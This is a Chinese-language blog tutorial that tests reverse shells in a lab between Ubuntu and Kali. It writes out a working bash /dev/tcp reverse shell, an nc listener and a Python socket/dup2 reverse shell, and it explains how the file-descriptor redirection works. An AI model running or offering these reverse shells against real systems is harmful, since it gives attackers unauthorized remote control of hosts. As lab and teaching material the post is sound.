反弹shell测试

反弹shell测试

实验环境

Ubuntu 18.04.1

Kali Linux 5.18.5

bash反弹

bash -i,意为创建一个交互性的bash shell

bash -i >& /dev/tcp/{your ip adress}/{your port} 0>&1

一、参数

0,STDIN_FILENO,标准输入(一般是键盘)
1,STDOUT_FILENO,标准输出(一般是显示屏,准确的说是用户终端控制台)
2,STDERR_FILENO,标准错误(出错信息输出)

二、输入输出重定向

  1. 重定向输入就是在命令中指定具体的输入来源,譬如cat <hello.c,这叫输入重定向,hello.c不是命令行参数,cat命令无参数时,是从du键盘读取zhi内容的,但加了<后,就改从hello.c读内容,对于cat这个命令bai说,cat xxx 和cat < xxx看起的效果确实是一样的,但内部的实现机制有区别,这就是命令行灵活性的体现。
  2. 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
  3. 2>&1&的意义,用来将标准错误2重定向到标准输出1中的。此处1前面的&就是为了让bash将1解释成标准输出而不是文件1。至于最后一个&,则是让bash在后台执行。
  4. /dev/tcp/192.168.1.1/9090,这是一个特殊文件,它会建立一个连接到192.168.1.1:9090的socket

三、含义

bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/192.168.1.1/9090的socket连接上,0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。

四、反弹具体过程

在kali中监听7777端口:

nc -lvp 7777

在ubuntu中输入bash命令建立socket连接:

bash -i >& /dev/tcp/192.168.85.142/7777 0>&1

在kali可以看到连接成功,并反弹shell

python反弹

一、反弹具体过程

在kali中使用nc进行监听,接着在ubuntu上使用python进行连接

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.85.142',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

接着查看kali成功反弹shell

二、含义

使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。

于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

参考链接:

https://blog.csdn.net/weixin_43486390/article/details/111385962

https://blog.csdn.net/weixin_44288604/article/details/112888661

https://www.freebuf.com/articles/system/178150.html

其它相关链接:

https://www.freebuf.com/articles/web/247967.html

https://www.freebuf.com/articles/web/347208.html

posted @ 2023-03-03 16:14  merk11  阅读(43)  评论(0编辑  收藏  举报
Live2D